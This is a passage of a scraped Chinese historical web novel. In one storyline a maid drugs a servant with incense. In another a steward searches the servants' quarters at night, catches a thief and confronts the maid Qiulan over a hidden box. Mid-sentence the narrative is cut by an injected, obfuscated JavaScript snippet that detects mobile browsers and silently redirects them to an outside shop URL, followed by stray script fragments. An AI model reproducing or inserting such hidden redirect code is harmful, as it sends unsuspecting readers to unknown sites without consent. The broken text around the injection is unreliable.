方才，风禾远远瞧见苏怀瑛脸色时便觉得不对，直至主子走后，上前去看，果真发现苏姑娘双颊泛白，额上覆着一层冷汗，已有受了暑热的症状。
她忙将苏怀瑛推回船舱内，为她松开衣领，取了湿布敷在额间。让她服下自己随身带着的消暑丸后，又端来一盏菊花清饮。
一盏茶后，女子的双颊渐渐有了血色，眼神也不似方才涣散。
额间的湿发半贴在鬓边，素日清丽出尘的人此时半倚在床榻上，看起来如病西子一般柔弱可欺。
风禾正觉愧疚，是她故意将芳汀引走，好让主子有机会与苏姑娘单独叙话。也是她大意了，没有及时发现她的异样。
歇息了一会儿，苏怀瑛觉得身体已好些，她向林夫人道了声谢：“多谢夫人照料。”
“不知芳汀去了何处？”她的气息尚未恢复，语声还有点无力。
那丫头啊，大概还在她房里睡着呢，风禾腹诽道。
她面上略带歉意，向苏怀瑛解释：“苏姑娘不必客气。唉，都怪我不好，我见芳汀那丫头像是没歇息好，便想顶替她一会儿来照看姑娘，顺势便让她在我房内歇下了。
谁知我回来找姑娘的路上耽搁了些功夫，让姑娘在日头底下晒了这么久，我心里真是过意不去。幸好苏姑娘没有出事，否则我真是不知怎么才好.......”
苏怀瑛没有责怪她的意思，她并非推不动轮椅，若是想走，自己随时可以回来。是她现在的身体不如从前了，只是在太阳底下多坐了一会儿便受不住了。
“不怪夫人。她歇在夫人处多有不便，劳烦夫人叫她回来吧。”林夫人已婚，芳汀一个未婚女子怎好在她那处歇息。
风禾猜到了她的顾虑，笑道：“这倒没什么。上了船后，我家官人晕船厉害，夜里也睡不好觉。未免打搅我歇息，他早便出去自己住一间房了。
不过，歇了这么久，我这便去寻她，免得耽误了差事。”
她不回去一趟还真不行，芳汀并不是真的缺觉，是她给她用了迷香，现在人恐怕还在熟睡中。若是无人打搅，只怕能一觉睡到傍晚。
正好来了个送午膳的丫鬟，看起来年岁也不大。见有人在一旁看着，风禾才放心回去。
回到船舱内，果见芳汀在榻上熟睡。风禾熄了迷香，又将屋内的几面窗子悉数打开，等气味都散尽后，取来薄荷药膏放在芳汀鼻子底下。
片刻后，听着林夫人的声音，芳汀渐渐醒来。
她感觉这一觉睡得尤其香甜，揉了揉眼睛问：“夫人，如今是什么时辰了？”
风禾滞了滞，朝她尴尬地笑笑：“已到午正了。”
“什么……？”怎么睡了这么久，也不知姑娘怎么样了。
芳汀在床上摸索了两下，飞快披好外衣，来不及整理便弯腰匆匆将鞋蹬上。
见她如此慌张，风禾更觉愧疚，忙拉着她让她别急，又缓缓告诉她苏怀瑛有中暑之兆，今日需多喝水，晚点还需再服用一颗消暑丸。
小丫头看向她的眼神多了几分怨念，但转念一想，是自己贪睡耽误了差事，哪还有脸指责旁人。细细记下风禾的叮嘱后，便飞快出门去了。
回到船舱内，见苏怀瑛正在用午膳，人看起来还有点虚弱，但大体已无碍，芳汀这才稍微放宽了心。
“回来了。”
女子嗓音依旧平和，淡淡看了芳汀一眼，见她面颊红润，精神抖擞，果然是一副饱睡后的模样。
“嗯，姑娘都是我不好...我竟然睡忘了...”小丫头心感自责，说话语气也怯怯的。
她走到苏怀瑛身侧，取了一双干净银筷，“我来给姑娘布菜。”她记着林夫人的嘱托，多夹了几样口味清淡的菜式。
芳汀虽然年纪小，但平日并不是贪睡的人，今日突然在林夫人处睡去，确实古怪。
苏怀瑛心里有几分猜疑，但小丫头心思单纯，想来从她嘴里也问不出什么，便未开口，默默用膳。
***
先前被姜洵派下船探查的一行影卫，骑着快马紧赶，总算回到了扬州。一番打探，才知素绮此时也在扬州城内。
原来，素绮在收到其母病重的书信后，带着一行人赶回乡。到了家中，果真见母亲卧病在床。
完全没有想到女儿会突然回来，躺在病床上的孙氏又惊又喜。她病了有些时日，初时只是风寒，可吃了药总不见好。
她习惯了扛着，也只当是自己年纪大了的缘故，并不想麻烦女儿，也未让人给她递去口信。不过乍然看见素绮，她仍十分高兴。
一行人在乡间待了几日，孙氏的病情虽然稍稍有好转，可是仍未痊愈，日常还有胸闷、麻痹之症。赤脚大夫来看过，还是建议她们早日去城里看看。
乡下求医问药究竟麻烦，且想到自己不日还要上京，若娘亲独自待在乡下，素绮也无法安心，最后还是决定将她娘接入城里。
素绮早年便在城内买了一套两进的小宅院，地段不算特别好，但胜在地方僻静，四周也是正经过日子的良民。
最重要的是，离玉瑚嫁的苏长生家不远，日后她去了上京，玉瑚还可替她看顾一下娘亲。
宅院里头本就有两个看门洒扫的仆妇，回去之后再添个丫鬟日常伺候也就够了。
打定了主意，也不顾孙氏的反对，素绮便自行安排起来。临走前，她还特意去感谢了隔房的婶子，若不是她及时传信，只怕孙氏的病情会耽误。
那婶子心里头正不安，她并没有把孙氏的病放在心上。人老了，哪个不是三灾五病的，孙氏自称没事，她也没有去给素绮传信的道理。
但没想到孙氏竟只是强撑，那赤脚大夫的话她也听见，这几日正庆幸素绮及时回来了。
听她说起传信的事，便囫囵应下。因此，一直到回了扬州城，素绮也未发现事情的蹊跷之处。
安顿好孙氏后，她去码头问过几次，因近来秋雨连绵，水路并不好走，最早的一趟船也得等到月末。
掐指一算，若是月末才出发，彼时姑娘已快到京畿，自己至少要晚一个月才能到她身边，心中顿感不安，但也没有其他办法，只能先等着。
***
这日晚上，苏府内。
因近日在她娘亲和苏府两边奔波，素绮夜里才得空看账簿，等看完已是深夜。
从书房出来时还想，若是她像老太爷或是姑娘那样精于算数就好了，也不至于花费这么多时间。
夜风忽起，将引路的小丫鬟手上的灯笼吹灭了，她们都没带火折子，见月色清亮，且离得不远，两人便这么摸黑地走着。
待走到内院二门，竟瞧见一个鬼鬼祟祟的影子从院中窜出来。
看身影像是个丫头，素绮悄悄跟上，看着她走回丫鬟歇息的院落。灯火渐渐明亮起来，她也看清了她的脸。
是此前在姑娘院里洒扫的丫头，进府不算很久。瞧她行迹可疑，神色慌张，衣袖里还揣着什么物件，肯定做了亏心事。
自老太爷仙逝后，府里人心浮动，丫鬟仆妇们夜间吃酒打牌竟成了常事，今夜本该在二门看守的仆妇也不见了踪影。
素绮有心整治，却因事忙没有抽出空来，既然今晚碰见了，正好杀鸡儆猴，好好纠一下这股歪风。
她悄悄回去叫起了一行心腹，带着人围住了院落，让仆妇们进屋逐间搜查。
院里有四五间屋子，其中东西厢房住的是稍体面些的大丫鬟，两人一间，其余的粗使丫头则四人一间。
素绮坐在正堂，漠然看着。
仆妇们直接闯进屋里，打了众人一个措手不及，耳边依次传来了丫头们的惊呼声和哭喊声。
厢房里的大丫鬟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659940|207149||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也被惊醒，披好外衣出来正想喝止，可瞧见正堂坐着的人，顿时没了胆气，只立在廊下你看我，我看你。
其中有个大胆的上前问道：“见过素绮姑姑，不知姑姑可否告知咱们，这究竟是发生了什么事？”
来人叫秋兰，模样生得俊俏，鹅蛋脸，水蛇腰。她原也是在苏怀瑛院子里伺候的丫头，因做事伶俐，素绮对她有几分倚重。
本来想让她跟着上京，只是秋兰以父母年迈为由婉拒了。她是府外头来的，父母皆在乡间务农，素绮也不勉强，索性让她留下。
见是她来问，她沉着脸说了缘由：“近来是我太过宽纵了，一个个的见主子不在府里便都放肆起来，做事松懈怠慢，敷衍了事。
如今竟还敢在我眼皮子底下手脚不干净，若今日真查出些什么来，也休怪我不近人情，府里是断断留不得了，通通扭送到官府里去。”
秋兰这才注意到院门处守了好几人，见素绮脸色阴沉，她不敢多言，转身准备回房。
没想到身后的人叫住了她。
“慢着——”素绮仿佛想到了什么，她瞥了一眼一旁站着的几个大丫鬟，“既你们也醒了，免得明日有人说我厚此薄彼，你们四人的房间也一并搜了。”
原本只打算搜查几个粗使丫头的卧房，这几个大丫鬟并不在她的怀疑之列。
可她突然想起，平日里粗使丫头私下也常巴结大丫鬟，为她们干些洒扫、洗漱的活，焉知不会将赃物藏在她们卧房内。
因而，临时决定一并搜检了。
四人面面相觑，却不敢反驳，秋兰还想说话，被素绮瞪了回来。
见状，她只好退在一侧，眼睛盯着鞋尖发呆。
过了片刻，粗使丫鬟们的卧房搜查完毕，仆妇绑了一个丫头，扭送到素绮面前。
正是她先前看见鬼鬼祟祟的那个。
“素绮姑姑，这丫头藏了不少东西，有香膏、赤金耳坠、珐琅粉盒还有蜜蜡串珠。”仆妇用小布包着，摊开给素绮看，全是些做工精细，到了外头便于出手的小物件。
人赃并获，她让人把这丫头拉到柴房看管，等明日天亮再扭送官府。
此时她还有些庆幸，八个粗使丫鬟出了一个贼，剩下的人都是手脚干净的，便吩咐其余人自行回屋歇息，随后又让仆妇进大丫鬟们的卧房内搜查。
见秋兰脸色不好，与她同一间房的菱儿关切地问：“秋兰，你怎么了？小脸煞白煞白的。”
她是个心直口快的，说这话时并没有多想，可是落在旁人耳中却有别的意味。
几道目光齐齐落在秋兰身上，另外两个大丫鬟下意识挪了几步，和她们二人拉开了些距离。
经菱儿提醒，素绮这才发现不对劲。她看得分明，见众人朝自己看去，秋兰面上虽还佯装镇定，眼神已有了闪躲之意。
她立时有了主意，指着秋兰，“把她给我捆起来。”
身旁的仆妇听令上前，不顾秋兰的挣扎将她五花大绑。为免她咬舌自尽，又往她嘴里塞了厚厚的粗帕。
不多时，仆妇们也搜检完毕。
大丫鬟卧房中有些值钱的东西，不过经素绮一一验看，并没问题。有的是主子赏的，有的则是年节时府里赐下的礼，一应物件并没有超出她们的份例。
惟独一样。
从秋兰床头暗格里搜出一方锦盒，约莫一掌宽，盒面素净，看起来像是用来盛零碎物件的普通匣子，并没有什么特别。
然而当仆妇递上这个锦盒时，秋兰面上尽是慌乱。
素绮心头微沉，伸手取过锦盒，缓缓掀开盒盖。
待看清内里物件，顿时脸色大变。
凌厉如刀的目光直直刺向秋兰。
她身子一颤，瘫坐在地上，再不敢与素绮对视，仿佛预料到了什么，眼角处滚下了两行泪珠。